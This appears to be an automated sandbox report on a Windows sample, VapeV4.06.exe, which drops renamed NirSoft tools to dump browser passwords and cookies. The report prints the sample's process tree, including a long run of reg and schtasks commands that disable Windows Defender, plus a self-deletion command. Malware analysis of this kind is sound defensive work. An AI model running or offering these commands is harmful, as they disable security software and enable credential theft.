Analysis

  • max time kernel
    66s
  • max time network
    113s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    09/07/2021, 19:21

General

  • Target
    VapeV4.06.exe
  • Size 2.8MB
  • Sample210709-2sdm15dffe
  • SHA256 476a62e25a12d8e509fcb7ec10ece40c53e239effb1e42645461896e75382f89
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Modifies security service 2 TTPs 1 IoCs
  • NirSoft WebBrowserPassView 3 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 7 IoCs
  • Executes dropped EXE 6 IoCs
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops startup file 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\VapeV4.06.exe
    "C:\Users\Admin\AppData\Local\Temp\VapeV4.06.exe"
    1⤵
    • Drops startup file
    • Suspicious use of WriteProcessMemory
    PID:1248
    • C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe
      "C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe" ZhXl39BlhP84+Y4kurA8wpehxxqA0X22IMYZ6Vpiqs6vySfzooDkV5qMw6+sQ7VErElZCt0/3KF/tOxGC1+1kCIq/9WqTh4PGuQDjSAuLQK2qwRVbYxnga7j0CUGSzjWNHg3kwjwcrQyPqSJEcREUFKHif8yw0Pop+5N/5CQG3Q=
      2⤵
      • Executes dropped EXE
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1156
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
        3⤵
          PID:292
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c compile.bat
            4⤵
              PID:964
              • C:\Users\Admin\AppData\Local\Temp\snuvcdsm.exe
                C:\Users\Admin\AppData\Local\Temp\snuvcdsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\Admin_Passwords.txt"
                5⤵
                • Executes dropped EXE
                • Suspicious behavior: CmdExeWriteProcessMemorySpam
                • Suspicious behavior: EnumeratesProcesses
                PID:1784
          • C:\Windows\System32\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
            3⤵
              PID:332
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c compile.bat
                4⤵
                  PID:2008
                  • C:\Users\Admin\AppData\Local\Temp\winhlp32.exe
                    C:\Users\Admin\AppData\Local\Temp\winhlp32.exe /stext "C:\Users\Admin\AppData\Local\Temp\Cookies1"
                    5⤵
                    • Executes dropped EXE
                    • Suspicious behavior: CmdExeWriteProcessMemorySpam
                    PID:1996
                  • C:\Users\Admin\AppData\Local\Temp\hh.exe
                    C:\Users\Admin\AppData\Local\Temp\hh.exe /stext "C:\Users\Admin\AppData\Local\Temp\Cookies3"
                    5⤵
                    • Executes dropped EXE
                    • Suspicious behavior: CmdExeWriteProcessMemorySpam
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1032
                  • C:\Users\Admin\AppData\Local\Temp\splwow64.exe
                    C:\Users\Admin\AppData\Local\Temp\splwow64.exe /stext "C:\Users\Admin\AppData\Local\Temp\Cookies2"
                    5⤵
                    • Executes dropped EXE
                    • Suspicious behavior: CmdExeWriteProcessMemorySpam
                    PID:440
              • C:\Windows\System32\WScript.exe
                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
                3⤵
                  PID:1956
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c compile.bat
                    4⤵
                      PID:1580
                      • C:\Users\Admin\AppData\Local\Temp\xwizard.exe
                        C:\Users\Admin\AppData\Local\Temp\xwizard.exe /stext "C:\Users\Admin\AppData\Local\Temp\Admin_History.txt"
                        5⤵
                        • Executes dropped EXE
                        • Suspicious behavior: CmdExeWriteProcessMemorySpam
                        • Suspicious behavior: EnumeratesProcesses
                        PID:1648
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe"
                    3⤵
                      PID:928
                      • C:\Windows\system32\choice.exe
                        choice /C Y /N /D Y /T 3
                        4⤵
                          PID:344
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\dav.bat"
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1748
                      • C:\Windows\system32\reg.exe
                        reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                        3⤵
                          PID:344
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                          3⤵
                            PID:784
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                            3⤵
                              PID:1052
                            • C:\Windows\system32\reg.exe
                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                              3⤵
                                PID:2040
                              • C:\Windows\system32\reg.exe
                                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                3⤵
                                  PID:2032
                                • C:\Windows\system32\reg.exe
                                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                  3⤵
                                    PID:2004
                                  • C:\Windows\system32\reg.exe
                                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                    3⤵
                                      PID:2024
                                    • C:\Windows\system32\reg.exe
                                      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                      3⤵
                                        PID:1132
                                      • C:\Windows\system32\reg.exe
                                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                        3⤵
                                          PID:2044
                                        • C:\Windows\system32\reg.exe
                                          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                          3⤵
                                            PID:1916
                                          • C:\Windows\system32\reg.exe
                                            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f┬┤
                                            3⤵
                                              PID:1376
                                            • C:\Windows\system32\reg.exe
                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                              3⤵
                                                PID:1576
                                              • C:\Windows\system32\reg.exe
                                                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
                                                3⤵
                                                  PID:1756
                                                • C:\Windows\system32\reg.exe
                                                  reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                  3⤵
                                                    PID:1752
                                                  • C:\Windows\system32\reg.exe
                                                    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                    3⤵
                                                      PID:768
                                                    • C:\Windows\system32\schtasks.exe
                                                      schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                                      3⤵
                                                        PID:1136
                                                      • C:\Windows\system32\schtasks.exe
                                                        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                                        3⤵
                                                          PID:2016
                                                        • C:\Windows\system32\schtasks.exe
                                                          schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                          3⤵
                                                            PID:1716
                                                          • C:\Windows\system32\schtasks.exe
                                                            schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                            3⤵
                                                              PID:1664
                                                            • C:\Windows\system32\schtasks.exe
                                                              schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                              3⤵
                                                                PID:1504
                                                              • C:\Windows\system32\reg.exe
                                                                reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
                                                                3⤵
                                                                  PID:1336
                                                                • C:\Windows\system32\reg.exe
                                                                  reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
                                                                  3⤵
                                                                    PID:1952
                                                                  • C:\Windows\system32\reg.exe
                                                                    reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                                    3⤵
                                                                      PID:900
                                                                    • C:\Windows\system32\reg.exe
                                                                      reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                                      3⤵
                                                                        PID:1624
                                                                      • C:\Windows\system32\reg.exe
                                                                        reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                        3⤵
                                                                          PID:1792
                                                                        • C:\Windows\system32\reg.exe
                                                                          reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                          3⤵
                                                                            PID:600
                                                                          • C:\Windows\system32\reg.exe
                                                                            reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                            3⤵
                                                                              PID:1008
                                                                            • C:\Windows\system32\reg.exe
                                                                              reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                              3⤵
                                                                                PID:1592
                                                                              • C:\Windows\system32\reg.exe
                                                                                reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                                3⤵
                                                                                  PID:2040
                                                                                • C:\Windows\system32\reg.exe
                                                                                  reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                                  3⤵
                                                                                  • Modifies security service
                                                                                  PID:1052

                                                                            Network

                                                                                  MITRE ATT&CK Enterprise v6

                                                                                  Replay Monitor

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                                                                                  Downloads

                                                                                  memory/292-111-0x000007FEFC381000-0x000007FEFC383000-memory.dmp

                                                                                  memory/1156-103-0x00000000008E0000-0x000000000090A000-memory.dmp

                                                                                  memory/1156-76-0x00000000003D0000-0x00000000003D1000-memory.dmp

                                                                                  memory/1156-106-0x0000000000C00000-0x0000000000C2F000-memory.dmp

                                                                                  memory/1156-107-0x000000001BCD0000-0x000000001BD6B000-memory.dmp

                                                                                  memory/1156-108-0x0000000000E40000-0x0000000000E41000-memory.dmp

                                                                                  memory/1156-104-0x0000000000910000-0x0000000000916000-memory.dmp

                                                                                  memory/1156-64-0x0000000000E60000-0x0000000000E61000-memory.dmp

                                                                                  memory/1156-68-0x000000001B180000-0x000000001B4BB000-memory.dmp

                                                                                  memory/1156-105-0x0000000000A30000-0x0000000000A31000-memory.dmp

                                                                                  memory/1156-86-0x000000001BAA0000-0x000000001BB4C000-memory.dmp

                                                                                  memory/1156-87-0x000000001AD00000-0x000000001AD02000-memory.dmp

                                                                                  memory/1248-59-0x0000000000B80000-0x0000000000B81000-memory.dmp

                                                                                  memory/1784-117-0x0000000076A01000-0x0000000076A03000-memory.dmp